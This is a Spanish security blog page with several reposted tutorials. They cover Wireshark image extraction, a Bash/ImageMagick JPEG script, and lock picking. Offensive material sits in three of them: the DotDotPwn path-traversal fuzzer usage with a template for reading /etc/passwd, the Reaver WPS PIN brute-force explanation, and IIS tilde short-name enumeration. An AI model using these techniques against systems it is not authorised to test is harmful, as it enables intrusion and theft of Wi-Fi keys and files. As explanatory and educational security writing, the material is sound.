Banner 1

Mostrando entradas con la etiqueta Tutorial. Mostrar todas las entradas
Mostrando entradas con la etiqueta Tutorial. Mostrar todas las entradas

Capturar imágenes con Wireshark - TIP

0 comentarios
En esta entrada, muestro un pequeño TIP con el cual podemos capturar las imágenes del tráfico analizado con Wireshark. La entrada la realizo con el sistema operativo Ubuntu pero cabe recordar que Wireshark es multiplataforma. 

Comenzemos:

1) Lo primero que haremos es instalar Wireshark en nuestro sistema, en Windows descargamos el ".exe" de laweb oficial y en Ubuntu lo hacemos de la siguiente manera.
$ sudo apt-get install wireshark
En mi caso, lo tenía instalado desde hace tiempo...

2) Iniciamos Wireshark, en las distribuciones Linux hay que ejecutarlo con los permisos administrativos (sudo). 
$ gksudo wireshark &
3) Iniciado Wireshark, empezamos a capturar el tráfico de la red. Solo tienen que seleccionar el adaptador de red adecuado y pulsar sobre "Start".
4) Para capturar las imágenes nos dirigimos a la primera pestaña del programa "File",  después a "Export" --> "Objects" --> "HTTP".
Nos saldrá esta ventana y desde aquí podemos guardar la imagen que deseemos.
Pequeña utilidad a la hora de usar Wireshark...

http://www.seguridaddelmal.com/2013/07/capturar-imagenes-con-wireshark-tip_8.html

Recopilación de Prácticas sobre "Sistemas Operativos en Red" - Windows

0 comentarios
Las prácticas tratan los puntos mas interesantes de Windows Server 2003 como instalación de Active Directory, creación de usuarios y grupos, migración a Windows Server 2008, funciones de routing, etc. Todas explican los diferentes procesos paso a paso y con bastantes imágenes ademas de una elaboración propia.

Si tienen alguna duda sobre alguna práctica, algo que explicar mas detallado o bien algún error que corregir. Pido que lo comuniquen por aquí, twitter (@seguridaddelmal) o el formulario de contacto del Blog.

Mi idea es ir subiendo nuevas practicas que realice durante el curso. De momento, iré subiendo las que tengo.

Prácticas:

Fuente: http://www.seguridaddelmal.com/2013/12/recopilacion-de-practicas-sobre_9.html

Cambiar la calidad de imágenes por lote usando BASH

3 comentarios
Reducir la calidad de un JPG en ocasiones permite que reduzcas su tamaño en bytes con un impacto visual muy bajo, las ventajas de hacer esto en un directorio como lo es el de uploads de WordPress es que reduces el espacio que estas usando en disco duro, el ancho de banda que consumes y tu pagina carga mas rápido.

Con BASH e ImageMagick puedes cambiar el peso de una imagen ajustando su calidad
Con BASH e ImageMagick puedes cambiar el peso de una imagen ajustando su calidad

La suite ImageMagick ofrece identify entre sus aplicaciones la que nos permite ver información acerca de una imagen. En este caso lo usaremos para ver la calidad de un JPG y también usaremos convert de la misma suite (ImageMagick) para ajustar la calidad de la imagen.
En caso de que necesiten instalar ImageMagick, solo deben abrir un terminal y ejecutar como root en su Fedora Linux:
yum install ImageMagick
Recuerda que no estas obligado a usar el terminal en Fedora para instalar aplicaciones, también puedes hacerlo usando la interfaz gráfica, solo sigue mi vídeo tutorial Instalando programas en Fedora Linux
Una vez que tengas instalado ImageMagick puedes ejecutar el siguiente script:
#!/bin/bash
DIRECTORIOS="/var/www/htdocs/wordpress/wp-content/uploads/20*"
NUEVA_CALIDAD="80"
#
for IMAGENES in `find $DIRECTORIOS -type f| grep -i jpg$ `;
do CALIDAD=`identify -format %Q $IMAGENES`;
if [ "$CALIDAD" -gt "$NUEVA_CALIDAD" ];
then
echo mejorando $IMAGENES con calidad $CALIDAD
convert -quality $NUEVA_CALIDAD $IMAGENES $IMAGENES
fi
done

Como ven, en las primeras dos lineas se declara la ruta de donde están las imágenes y en el segundo se procesan. En mi caso me dispuse a ajustar la calidad de las imágenes de mi wordpress por lo que asignó a $DIRECTORIOS la ruta donde están guardadas las imágenes de los artículos. Noten que acepta wildcards.
El proceso como tal usa la salida de identify para saber la calidad actual de la imagen, luego con un condicional evaluamos si la imagen en cuestión tiene una calidad superior al valor deseado ($NUEVA_CALIDAD) y de ser así le se la cambiamos asignándole el valor de $NUEVA_CALIDAD que para este ejemplo es 80.


Eliminado meta-data y la codificación del JPEG para una imagen mas pequeña

Calidad al 100% con un tamaño o peso de 50K Calidad al 80% con un tamaño o peso de 6.7K
Calidad al 100% con un tamaño o peso de 50K Calidad al 80% con un tamaño o peso de 6.7K
El producto se puede apreciar en estas dos imágenes, la de la izquierda es la original mientras que la de la derecha es la imagen procesada. Para llegar a esta diferencia de tamaño tuve que usar medidas drásticas. aparte de ajustar la calidad a un 80%, me dispuse a eliminar la data del EXIF y cambie el subsampling pasandole a convert estos parámetros:
-quality 80 -strip -sampling-factor 4:1:1
Si quieres aplicar estos cambios a un lote de imágenes puedes usar esta versión modificada del script anterior:
#!/bin/bash
DIRECTORIOS="/var/www/htdocs/wordpress/wp-content/uploads/20*"
NUEVA_CALIDAD="80"
SAMPLING="4:1:1"
#
for IMAGENES in `find $DIRECTORIOS -type f| grep -i jpg$ `;
do CALIDAD=`identify -format %Q $IMAGENES`;
if [ "$CALIDAD" -gt "$NUEVA_CALIDAD" ];
then
echo mejorando $IMAGENES con calidad $CALIDAD
convert -quality $NUEVA_CALIDAD -strip -sampling-factor $SAMPLING $IMAGENES $IMAGENES
fi
done


Tengan en cuenta que jugar con el sampling-factor puede alterar la fidelidad de los colores de una imagen.

Fuente: http://orvtech.com/general/cambiar-calidad-imagenes-usando-bash/

Directory Traversal con Dotdotpwn v3.0 Parte (I)

0 comentarios
 directorios
Muchas veces cuando testeamos un parametro o url en busca de una vulneravilidad de tipo Path traversal, se hace insoportable tener que estar inyectando posibles vectores en afan de encontrar una respuesta atipica en el servidor y asi poder visualizar el fichero deseado. Para esta tediosa tarea podemos contar con la ayuda de un fuzzer poderoso como lo es DotDotpwn, la idea de esto, es la de armar un tutorial completo sobre la herramienta. Para los que desconoscan de esta tecnica aca les dejo unos link donde pueden encontrar buena informacion respecto a su desarrollo.
Bueno comencemos presentando a esta belleza escrita en perl , que ya va por su version 3.0.

     Caracteristicas:

  • Algoritmo de biseccion que mejora la deteccion de vulnerabilidades.
Que carajo es eso?…bueno, es un metodo matematico que se encarga de buscar raices, dividiendo un intervalo a la mitad y seleccionando el subintervalo que tiene la raiz. Para los que no sepan lo que es la raiz, vieron esa p$t# “x” que se encontraba en las ecuaciones que nos daban en la escuela!…ahora se acuerdan no?.
  • Ademas de GET se añadieron otros metodos de peticiones HTTP (POST|MOVE|COPY|HEAD)
  • Cuenta con un modificador para especificar la extensión del archivo que se adjunta al final de cada cadena (*.jpg, *.php, *.inc, *.pdf, *.doc, *.sql)
  • Nueva codificacion de cararcteres ../ en UTF-8 Hex Encoding y URI Hex Encoding.
    • Soporte para los soguientes modulos:

  • - HTTP
  • - HTTP URL
  • - FTP
  • - TFTP
  • - Payload (Independiente del protocolo)
  • - STDOUT
 Bueno basta de introducciones y comenzemos por fin a probar este fierraso. Para que Dotdotpwn funcione correctamente deberan tener las siguientes requerimientos en su sistema.

      Requerimientos:

  • Modulos de perl:
  • Net::FTP
  • TFTP
  • Time::HiRes
  • Socket
  • HTTP::Lite
  • IO::Socket
  • Getopt::Std
  •  Switch
Para instalar los moudulos hacemos uso de cpan, este es un gestor de descargas para modulos de perl.
$ sudo cpan
 cpan[1]>install HTTP::Lite
 cpan[2]>install Net::FTP
 cpan[3]>install TFTP
 cpan[4]>install Time::HiRes
 cpan[5]>install Socket
 cpan[6]>install IO::Socket
 cpan[7]>install Getopt::Std
 cpan[8]>install Switch
Ahora si! descargamos DotDotPwn, extraemos y lo lanzamos!.
 Dotdotpwn
A continuacion paso a explicar las distintas opciones con las que cuenta.

Modo de uso:

./dotdotpwn.pl -m -h [OPCIONES]
Lista de Opciones:
  • -m   Tipos de modulos que soporta [http | http-url | ftp | tftp | payload | stdout]
  • -h    Hostname
  • -O   Hace una deteccion del sistema operativo a travez del uso de nmap
  • -o    Si por alguna razon sabes el tipo de S.O que utiliza el servidor podemos especificarlo para ahorrar tiempo (“windows”, “unix” o “generico”)
  • -s    Deteccion de la version de servicios
  • -d    Con esta opcion podemos establecer la cantidad de ../ a inyectar, por defecto usa 6 espacios.
  • -f    Especificamos el tipo de archivo a buscar
  • -E   Agrega las direcciones de archivos que se encuentran en el fichero TraversalEngine.pm
  • -u    Indicamos la url en la que haremos la inyeccion del vector, en el parametro a inyectar usaremos la variable TRAVERSAL quedando de esta manera: http://foo:8080/id.php?x=TRAVERSAL&y=31337)
  • -k    Busca una cadena en alguna respuesta del servidor, por ejemplo si estamos buscando el fichero /etc/passwd le establecemos la palabra “root:”,esta opcion es necesaria cuando utilizamos los modulos http-url y Payload
  • -p    Nombre del payload que usaremos en la variable TRAVERSAL
  • -x    Puerto (default: HTTP=80; FTP=21; TFTP=69)
  • -t    Tiempo en milisegundo entre cada testeo (default: 300 (.3 second))
  • -X    Indicamos que use el algoritmo de biseccion.
  • -e    Indicamos las extenciones de archivos para realizar un fuzzing a la cadena ( “.php”, “.jpg”, “.inc”)
  • -U    Username (default: ‘anonymous’)
  • -P    Password (default: ‘dot@dot.pwn’)
  • -M   Metodos HTTP a usar para el envio [GET | POST | HEAD | COPY | MOVE] (default: GET)
  • -r     Establece el nombre del archivo de log donde se guardara el test (default: ‘HOST_MM-DD-YYYY_HOUR-MIN.txt’)
  • -b    Parara cuando se encuentre la primer vulnerabilidad
  • -q    No imprime la salida del programa.
Bueno eso es todo por hoy! en el proximo post empezare con las pruebas de fuzzing y  desarrollare el uso de todos los modulos presentes en Dotdotpwn.

Crear tu código QR fácil y gratis

0 comentarios
Los códigos QR están ahora muy de moda. Son imágenes codificadas que con cualquier aplicación o aparato que sea para decodificar esa imagen hará que se muestra una dirección web, texto, una imagen...
Esto es muy útil porque podremos acceder a cualquier archivo con tan solo enfocar esa imagen cuadrada con la aplicación (normalmente en los móviles más modernos suele venir la aplicación), y así no tendremos que estar buscando por todas las carpetas del dispositivo o buscar en internet para encontrar una información determinada.
Lo más usual es que estos códigos QR se usen para la publicidad. Por ejemplo, que lleve a una página web donde hay un concurso o cualquier otra cosa. Ahora lo que os voy a mostrar es un generador de códigos QR online y gratuito. Podéis acceder a él haciendo clic aquí.

Apareceréis una web como en la imagen. Podéis hacer códigos QR que lleven a una web, que muestren un SMS, texto, número de teléfono o una tarjeta de información.
En primer lugar aparece el código QR (la imagen cuadrada blanca y negra), y abajo el código HTML para colocarla en cualquier sitio web que acepte programación en HTML.
Lo importante es lo siguiente: tendrás que colocar el texto, el enlace de una web, el número de teléfono... Depende de la opción que hayas cogido para crear el código QR. Por último, solo tienes que darle a "Generar código QR" y se pondrá la imagen que tienes que usar para realizar dicha acción.
Yo he hecho ya mi ejemplo. Si enfocas con una aplicación de códigos QR esto, aparecerás en Campamento Web:
 
 
Fuente:http://campamentoweb.blogspot.com

Taller de lock picking

0 comentarios
Este taller lo encontré vía hps muy bueno recomiendo ver los tres post.
Si recordáis, cuando anunciábamos el wargame internacionalGlobal CyberLympics había una categoría de ataque de lock picking o ganzuado, en que los participantes tenían que abrir varias cerraduras de distinta dificultad. Esto y una histórica admiración e interés por este arte, han hecho que al fin me decida a comenzar a adentrarme en este apasionante mundo.
Las siguientes entradas que quiero compartir con vosotros, serán un viaje desde mi iniciación desde cero hasta los intentos de apertura de las cerraduras que vaya encontrando, uso de distintas técnicas y en general adquisición de nuevos conocimientos. Eso sí, dado que soy un principiante en lock picking, os pido disculpas de antemano por cualquier error que pueda cometer y os agradezco cualquier apunte o corrección, información adicional, etc. que nos pueda ayudar a mejorar.

A ver hasta dónde llegamos.

Introducción, componentes y funcionamiento normal de una cerradura

Empezamos con la definición principal desde la wikipedia:Lock picking es el arte de abrir una cerradura mediante el análisis y manipulación de sus componentes internos sin utilizar la llave original.

Antes de comenzar a ver diferentes técnicas y herramientas para conseguir una apertura, tenemos que conocer a fondo el mecanismo de la cerradura y los detalles de su funcionamiento. Para ello os aconsejo que empecéis leyendo la Guía MIT del Lock Picking que, aunque fue publicada en el año 1991, se considera todavía la auténtica biblia de este tema.

En los primeros capítulos de esta guía se explica el funcionamiento básico de una cerradura con cámara de pernos (pin tumber locks). Antes de nada, es indispensable que nos familiaricemos con los términos que definen a todas sus partes:

Ahora que conocemos los componentes básicos de una cerradura, pasemos a la parte de su funcionamiento normal. Como veis, los componentes principales en el diseño son una serie de pequeños pines de longitud variable. Estos pines se dividen hacia arriba en pares: pernos y contrapernos. Cada par se reclina en un eje que corre a través del tambor central de la cerradura y en la cubierta alrededor del cilindro o bombín. Los resortes en la tapa de los ejes mantienen los pines en posición.

Cuando no se inserta ninguna llave, el pin inferior o contraperno en cada par está totalmente dentro del tambor y el cilindro, mientras que el pin superior o perno esta en una posición asomando fuera del cilindro. La posición de estos pines impide que el cilindro de la vuelta: los pines lo traban.

Cuando insertas una llave, la serie de muescas en el cuerpo de la llave empuja los pines hasta diversos niveles.

La llave incorrecta empujará a los pines de modo que la mayor parte de los pernos todavía estén en parte en el tambor y en parte en el cilindro. La cerradura seguirá cerrada o bloqueada.

La llave correcta empujará cada par de pines lo suficiente de modo que el punto en donde los dos pines (pernos y contrapernos) se juntan, se alinee perfectamente con el espacio en donde el cilindro y el tambor se juntan (este punto es llamado la línea de corte o esquileo). Sin ninguno de los pines que bloquean el cilindro, se puede rotar libremente y mover el pasador hacia adentro y hacia fuera. La cerradura quedará abierta.

No obstante, si echáis un vistazo a este breve vídeo, veréis más claramente el funcionamiento:




Como veis, este simple diseño del rompecabezas es muy eficaz. Dado que los pines se ocultan dentro de la cerradura, es bastante difícil para la mayoría de la gente mover el cilindro sin la llave correcta. Pero, con mucha práctica, es posible solucionar el rompecabezas por otros medios. En la siguiente entrada, veremos algunas técnicas para forzar esta clase de cerraduras.

Hasta la semana que viene.



Talleres de lock picking#1: Iniciación
#2: Técnicas de apertura

#3: Herramientas de ganzuado



Fuente:http://www.hackplayers.com/2011/08/taller-de-lock-picking-1-iniciacion.html

Reaver-wps: ataques de fuerza bruta contra WPS

0 comentarios
Hace un par de días, Stefan Viehbock publicó un whitepaper detallando los fallos en la implementación de Wi-Fi Protected Setup (WPS) que podrían permitir a un atacante realizar un ataque de fuerza bruta para probar todas las combinaciones de PIN posibles con el objetivo de obtener una contraseña WPA/WPA2 en cuestión de horas.
Los fallos de implementación residen en que:

1. la opción de Registro Externo no requiere ningún tipo de autenticación a parte de proveer el PIN correspondiente.

2. el router valida en PIN en dos partes: responde inmediatamente (mensaje EAP-NACK) si los 4 primeros dígitos del PIN son erróneos, y después hace lo propio con los 3 siguientes (el último dígito es un checksum). Esto reduce significativamente las posibles combinaciones: 10^4 (10,000) y 10^3 (1,000) respectivamente

Ahora que está vulnerabilidad se ha echo pública, Tactical Network Solutions LLC (TNS) ha decidido además publicar la herramienta open source Reaver (http://code.google.com/p/reaver-wps), una herramienta que han ido probando y perfeccionando desde hace casi un año.

Reaver realizará un ataque de fuerza bruta contra el AP, primero con la primera parte del PIN y luego con la segunda, realizando intentos para un espacio de claves de tan sólo 11,000 posibilidades.

El uso de esta herramienta nos proveerá por tanto la posibilidad de atacar fácilmente WPS, aspecto que nos ofrecerá claras ventajas respecto a la posibilidad de atacar directamente a WPA:

- Descifrar el PIN WPS es, obviamente, mucho más rápido.
- Una vez que tengamos el PIN WPS inmediatamente podemos recuperar la contraseña WPA, incluso si el propietario la cambia.
- Los puntos de acceso multifrecuencia (2.4/5GHz) se pueden configurar con varias claves WPA. Dado que el PIN WPS es el mismo en distintas frecuencias, el conocimiento del PIN permite a un atacante recuperar todas las claves WPA.

De momento, la única recomendación básica es desactivar WPS y activarlo sólo para cuando queramos añadir nuevos dispositivos...happy hacking!



Fuentes que pueden ayudar a ejecutar esta técnica que de seguro realizare paso a paso en estos dias:

http://www.hackplayers.com/2011/12/reaver-wps-ataques-de-fuerza-bruta.html
http://chikiteam.spanishforo.com/t246-tutorial-reaver-wpa-wifiway-34
http://hwagm.elhacker.net/manual-castellano-reaver/
http://www.ehacking.net/2012/01/reaver-wps-wpawpa2-cracking-tutorial.html
http://xora.org/2012-wpawpa2-cracking-con-reaver-tutorial/
http://www.hackthissite.org/
http://www.hackthissite.org/forums/viewtopic.php?f=24&t=8290&sid=9673d183148f463b4e9b6e523b565cae
http://www.hackthissite.org/forums/viewtopic.php?f=24&t=8235&sid=9673d183148f463b4e9b6e523b565cae

50 tutoriales para el administrador de sistemas de Unix/Linux

0 comentarios
Aunque algo antiguo, hemos rescatado en The Geek Stuff una recopilación de 50 tutoriales que todo administrador de sistemas Unix/Linux debe conocer:

  1. Copia de seguridad de disco a disco utilizando el comando dd : dd es una potente utilidad de UNIX, que es utilizada por los makefiles del kernel de Linux para hacer las imágenes de arranque. También se puede utilizar para copiar datos. En este artículo se explica cómo realizar copias de seguridad de un disco duro y crear una imagen con el comando dd.
  2. 15 ejemplos de comandos rsync : Cada administrador de sistemas debe dominar el uso de rsync. Esta utilidad se utiliza para sincronizar los archivos y directorios de un lugar a otro. La primera vez, rsync replica todo el contenido entre los directorios origen y destino. Después, rsync sólo transfiere los bloques o bytes modificados a la ubicación de destino, lo que hace la transferencia muy rápida.
  3. Las tres reglas del sysadmin : Si eres un administrador de sistemas, no puedes (ni debes) romper estas tres reglas del sysadmin.
  4. Cuota de disco de usuario y grupo : En este artículo se explica cómo configurar la cuota de usuario y grupo con soft limit, hard limit y límite de período de gracia. Por ejemplo, si especifica 2 GB como hard limit, el usuario no será capaz de crear nuevos archivos después de esa cuota.
  5. Solucionar problemas mediante dmesg : Con dmesg puedes ver mensajes de arranque que muestran información sobre los dispositivos de hardware que el kernel detecta durante el proceso de arranque. Esto puede ser útil durante el proceso de troubleshooting.
  6. Ejemplos RPM de gestión de paquetes : En este artículo se presentan 15 ejemplos que explican todo lo que se necesita saber acerca de la gestión de paquetes RPM en un sistema basado en RedHat (incluyendo CentOS).
  7. 10 ejemplos netstat : El comando netstat muestra información de la red relacionada con diversos aspectos tales como las conexiones de red, las tablas de encaminamiento, estadísticas de la interfaz, las conexiones de enmascaramiento, membresías de multidifusión etc
  8. Gestión de paquetes con comandos apt : 13 ejemplos prácticos que explican cómo administrar paquetes mediante apt-get, apt-cache, apt-file y los comandos de dpkg.
  9. Ejemplos con el comando modprobe : modprobe es una utilidad que se usa para agregar módulos cargables al kernel de Linux. También puede ver y eliminar los módulos utilizando el comando modprobe.
  10. Ejemplos Ethtool : la utilidad ethtool se utiliza para ver y cambiar los parámetros del dispositivo Ethernet. En estos ejemplos se explicará cómo se puede manipular la tarjeta NIC Ethernet usando ethtool.
  11. Montaje NFS utilizando exportfs : Esta es una guía para principiantes de Linux para el montaje NFS utilizando exportfs. Se explica cómo exportar un sistema de archivos a una máquina remota y montarla tanto temporal como permanentemente.
  12. Cambiar zona horaria : Dependiendo de su distribución de Linux, utiliza uno de los métodos explicados en este artículo para cambiar la zona horaria en el sistema.
  13. Instalación de phpMyAdmin : phpMyAdmin es una herramienta web escrita en PHP para gestionar la base de datos MySQL. Además de ver las tablas y otros objetos (db), puede realizar muchas funciones de DBA a través de la interfaz web. También puede ejecutar cualquier consulta SQL de la interfaz de usuario.
  14. Configuración de Squid para controlar el acceso a internet : Squid es un servidor proxy caché. Puedes utilizar Squid para controlar el acceso a Internet en el trabajo. Esta guía te enseñará cómo configurar Squid en Linux para restringir el acceso a Internet en una red.
  15. Añadir nuevo espacio swap : Uso de los comandos dd, mkswap y swapon para añadir swap. También se puede usar una partición dedicada del disco duro para añadir nuevo espacio swap, o crear un archivo de intercambio en un sistema de archivos existente y utilizarlo como swap.
  16. Instalación y configuración de snort : Snort es un IDS libre para UNIX y Windows. En este artículo se explica cómo instalarlo desde la fuente, escribir las reglas, y realizar las pruebas básicas.
  17. Registro de Red Hat Enterprise Linux / OEL para soporte : Si has comprado el soporte de Oracle para la Linux, puedes registrar en red el soporte de Oracle (LSN), utilizando up2date como se explica aquí.
  18. Configuración tftpboot : se puede instalar Linux desde la red usando PXE mediante la instalación y configuración del servidor tftpboot.
  19. Eliminar todas las reglas de iptables : Cuando se está comenzando con laz configuración iptables, es posible que quieras eliminar todos las reglas iptables existentes como se muestra aquí.
  20. Deshabilitar respuestas de ping : Alguien puede inundar la red con ping -f. Si la respuesta al ping está desactivada como se explica aquí podemos evitar estas inundaciones.
  21. Bloqueo de direcciones IP utilizando fail2ban : Fail2ban es un IPS que escanea los archivos de log de diversos servicios (SSH, FTP, SMTP, Apache, etc) y y bannea las IPs que con demasiados fallos de contraseña. También actualiza las reglas de firewall (iptables) para rechazar estas direcciones IP.
  22. Gestión de paquetes usando dpkg : En Debian puedes instalar o eliminar paquetes deb usando la utilidad dpkg.
  23. Sistema de gestión de contenidos Alfresco : Alfresco es el mejor gestor de contenidos de código abierto. Todo lo que necesitas saber para instalar y configurar Alfresco se explica aquí.
  24. Sistema de seguimiento de errores Bugzilla : Bugzilla es sistema de seguimiento de errores open source. Todo lo que necesitas saber para instalar y configurar Bugzilla se explica aquí.
  25. Rpm, deb, DPOT y MSI : En este artículo se explica cómo ver y extraer archivos de varios tipos de paquetes utilizados por las diferentes distribuciones Linux / UNIX.
  26. Copia de seguridad con rsnapshot : Puedes realizar copias de seguridad de un host local o servidor remoto utilizando la herramienta rsync rsnapshot. rsnapshot utiliza la combinación de rsync y hard links para mantener copias de seguridad completas e incrementales. Una vez que hayas que los hayas configurado no hace falta absolutamente ningún tipo de mantenimiento. rsnapshot automáticamente se encargará de borrar y rotar las copias de seguridad antiguas.
  27. Crear usuario de Linux : En este artículo se explica cómo crear usuarios con configuración por defecto, crear usuarios con una configuración personalizada, crear usuarios de forma interactiva y la creación de usuarios en bloque.
  28. Montar y ver archivos ISO : Los archivos ISO se utilizan normalmente para distribuir el sistema operativo. La mayor parte de los sistemas operativos Linux que descargas estarán en formato ISO. En este artículo se explica cómo ver y montar cualquier archivo ISO, tanto para uso normal como para el usuario root.
  29. Administrar el tiempo y la caducidad de la contraseña : Los comandos de Linux chage se pueden utilizar para llevar a cabo varias actividades prácticas con la contraseña, entre ellas configurar el tiempo de caducidad y obligar a los usuarios a cambiar su contraseña.
  30. ejemplos de ifconfig : ifconfig es el configurador por comandos  para inicializar el interfaz de red y para habilitar o deshabilitar interfaces como se muestra en estos 7 ejemplos.
  31. Inicio y detención de Oracle DB : Cada administrador de sistemas debe saber algunas operaciones básicas de DBA. Aquí se explica cómo detener y arrancar la base de datos Oracle.
  32. Instalar y configurar PostgreSQL : Al igual que MySQL, PostgreSQL está muy extendido. Esta es una guía de inicio para instalar y configurar PostgreSQL desde el código fuente en Linux.
  33. Tecla mágica PetSis (SysRq) : ¿Te has preguntado qué hace la tecla PetSis?. Aquí hay un uso para ella. De forma segura puedes reiniciar el sistema Linux a través de esta tecla mágica, como se explica aquí.
  34. Tutorial WakeOnLan : Usando WakeOnLan (WOL), podrás encender servidores remotos a los que no tienen acceso físico para pulsar el botón de encendido.
  35. Lista de especificaciones de hardware con lshw : ls + hw = lshw, enumera las especificaciones de hardware de tu sistema.
  36. Ver las especificaciones de hardware con dmidecode : El comando dmidecode lee la tabla del sistema DMI para mostrar información del hardware y de la BIOS del servidor. Aparte de conseguir la configuración actual del sistema, también se puede obtener información sobre la configuración máxima admitida del sistema mediante dmidecode. Por ejemplo, dmidecode la RAM actual en el sistema y la memoria RAM máxima soportada por el sistema.
  37. Utilizar el soporte de manera efectiva : Las empresas gastan mucho dinero en soporte, principalmente por dos razones: 1) Para obtener la ayuda de los proveedores para corregir los problemas críticos de producción 2) Para mantenerse al día con la última versión del software y los parches de seguridad publicados por los vendedores. En este artículo, se dan 10 consejos prácticos para los administradores de bases de datos, administradores de sistemas y desarrolladores para utilizar su soporte de hardware y software de forma eficaz.
  38. Instalar / actualizar LAMP utilizando Yum : Instalar LAMP usando yum es una buena opción para los principiantes que no se sienten cómodos instalando desde el código fuente. Además, la instalación LAMP usando yum es una buena opción, si desea hacer las cosas sencillas y sólo utilizar la configuración por defecto.
  39. Plantilla para el seguimiento de sus activos de hardware : Si estas administrando más de un equipo en tu organización, es muy importante documentar y realizar un seguimiento de toda la información sobre los servidores de forma efectiva. En este artículo, han hecho una lista de 36 atributos que se necesitan para realizar un seguimiento de los equipos, con una explicación de por qué es necesario hacer un seguimiento. También se proporciona una plantilla de hoja de cálculo con estos campos que nos darán el empujón inicial.
  40. Deshabilitar SELinux : Si no entiendes cómo funciona SELinux y los detalles fundamentales sobre la forma de configurarlo y mantenerlo te causará muchos problemas. Si lo deseas, puedes desactivarlo para evitar algunos problemas innecesarios como se explica aquí.
  41. Instalación de PHP5 desde la fuente : Esta es una guía paso a paso para instalar PHP5 desde las fuentes en entorno UNIX.
  42. Instalar MySQL desde el código fuente : Esta es una guía paso a paso para instalar MySQL desde el código fuente en el entorno UNIX.
  43. Lanzar clientes de Linux en Windows : Si estas usando un cliente SSH para conectarte al servidor de Linux desde un portátil con Windows, a veces puede ser necesario iniciar una aplicación de interfaz de usuario en el servidor remoto Linux, pero mostrarla en el portátil Windows. Cygwin se puede utilizar para instalar software en Linux desde Windows y lanzar el software cliente de X en Windows.
  44. IPCS : IPC permite que los procesos se comuniquen entre sí. El proceso también puede comunicarse por tener un archivo accesible a otros procesos. Los procesos pueden abrir y leer/escribir el archivo, lo que requiere gran cantidad de operaciones de E/S que consumen tiempo. Esto explica los diferentes tipos de IPC y ofrece 10 ejemplos de comandos del IPCS.
  45. Logical Volume Manager : Con el uso de LVM podemos crear particiones lógicas que pueden abarcar uno o más drives. Puedes crear y administrar LVM con vgcreate, lvcreate y los comandos lvextend lvm2 como se muestra aquí.
  46. 15 ejemplos tcpdump: tcpdump es un analizador de paquetes de red. tcpdump nos permite guardar los paquetes capturados, de modo que podemos utilizarlos para futuros análisis. El archivo guardado puede ser visto por el mismo comando tcpdump. También puedes utilizar software de código abierto como Wireshark para leer los archivos tcpdump pcap.
  47. Administrar particiones con fdisk : Con fdisk puedes crear un máximo de cuatro particiones primarias, eliminar una partición existente o cambiar las particiones existentes.
  48. Fundamentos de VMWare : En algún momento cada administrador de sistemas debe hacer frente a la virtualización. VMWare es una elección muy popular para virtualizar su entorno de servidor. En este artículo se proporciona la información fundamental para que consigas un arranque en VMWare.
  49. Rotación de logs de forma automática : Administrar archivos de logs es una parte fundamental en la vida de un administrador de sistemas. logrotate lo hace más fácil ya que permite configurar la rotación automática de logs basándose en varias configuraciones. Logrotate también se puede configurar para ejecutar scripts personalizados inmediatamente después de la rotación de logs.
  50. Instalación de login SSH sin contraseña: Usando ssh-keygen y ssh-copy-id puedes configurar un login sin contraseña contra tu servidor remoto Linux. ssh-keygen crea las claves públicas y privadas. ssh-copy-id copia la clave pública local al fichero authorized_keys del servidor remoto. 
Fuente:http://www.hackplayers.com/2012/04/50-tutoriales-para-el-administrador-de.html

Descubrimiento de nombres cortos en Microsoft IIS con el carácter “~” y otros vectores

0 comentarios
Un estudio realizado por Soroush Dalili demuestra que existe una vulnerabilidad en IIS que permite utilizar el carácter de tilde '~' para conocer los nombres cortos de archivos y carpetas. Esto puede ser un problema mayor especialmente para los sitios web .Net que son vulnerables al acceso directo a URLs ya que un atacante podría encontrar los archivos y carpetas importantes que normalmente no son visibles. Por otra parte, este error (o tal vez una característica no documentada desde el punto de vista de Microsoft) es muy útil para pruebas de intrusión cuando no tienen acceso al sistema (caja negra) y se puede agregar a los escáneres web de seguridad de aplicaciones con el fin de encontrar más archivos y carpetas. También se ha comprobado que las carpetas protegidas con contraseña (con autenticación básica o de Windows) se siguen pudiendo encontrar con la infame búsqueda "::$Index_Allocation", y otros vectores ADS también pueden ser útiles para depurar los resultados.

Adicionalmente, se ha desarrollado una prueba de concepto para demostrar la posibilidad de explotar este tema. Además, se han introducido varios métodos que pueden ser implementados en una etapa posterior con el fin de encontrar nombres largos en base a nombres cortos.

En esta investigación también se ha identificado un problema de denegación de servicio y, aunque Microsoft fue informado en agosto de 2010, todavía no hay una corrección o solución.


Por último, los investigadores piensan que estas cuestiones plantean un riesgo significativo para ciertos sitios web y deberían haber sido abordados por el vendedor y también por las empresas de firewalls/WAF.
IIS Shortname Scanner PoC – Source Code: http://code.google.com/p/iis-shortname-scanner-poc/
 PoC Video:

La herencia de los 8:3 caracteres en el nombre de los ficheros en un sistema Microsoft Windows, hace que sea posible aún poder acceder a un fichero utilizando ambos métodos, es decir, el del nombre acortado y el del nombre extendido. Aunque esta característica está disponible en Windows, en IIS no es posible, así, tanto si el fichero se encuentra como si no, se generará un error. 
El servidor IIS, cuando se solicita un nombre acortado, va a intentar acceder al mismo, y si lo encuentra, dará un error 404, algo que no debería ser normal. El caso es que cuando el fichero sí está, se continua ejecutando el procesamiento de la URL y si se construye una URL con ingenio, se puede conseguir un error de Bad Request.
Jugando con los errores 404 y los errores Bad Request, es posible hacer un ataque Blind para descubrir el nombre de los ficheros. Esto se puede hacer solo en algunas versiones de IIS y .NET en las que no se ha filtrado el caracter *. Tienes el paper que lo explica aquí, donde además explican cómo acceder a carpetas protegidas o saltar algunas protecciones.
Así, si se llega un servidor IIS 7 con ASPX se debe probar primero que los errores 400 de Bad Request y 404 de Not Found son distintos. Para ello, basta con hacer las dos siguientes pruebas para saber si es vulnerable a este ataque.

Figura 1: Prueba de 404

Figura 2: Prueba de Bad Request

Estas pruebas del ejemplo, darán distintos resultados según se vaya realizando sobre un servidor IIS 5, IIS 6 o IIS 7. La siguiente tabla recoge las pruebas a realizar, y los resultados que se obtienen cuando el nombre del fichero existe (valid) o no existe (invalid):

Figura 3: Tabla de pruebas
Si el sitio no es vulnerable se obtendrá siempre el mismo resultado, o cuando se intente hacer uso de los comodines obtendremos un mensaje como éste:
Figura 4: Servidor IIS NO vulnerable a esta técnica
Si el sitio es vulnerable, se puede proceder a realizar la booleanización haciendo uso del símbolo de acortamiento en el nombre ~1, el caracter comodín *, y tomando el error 404 como un True y el Bad Request como un False.
Figura 5: False. No hay ningún fichero que comience por ab
Figura 6: True. Al menos hay un fichero que comienza por ac
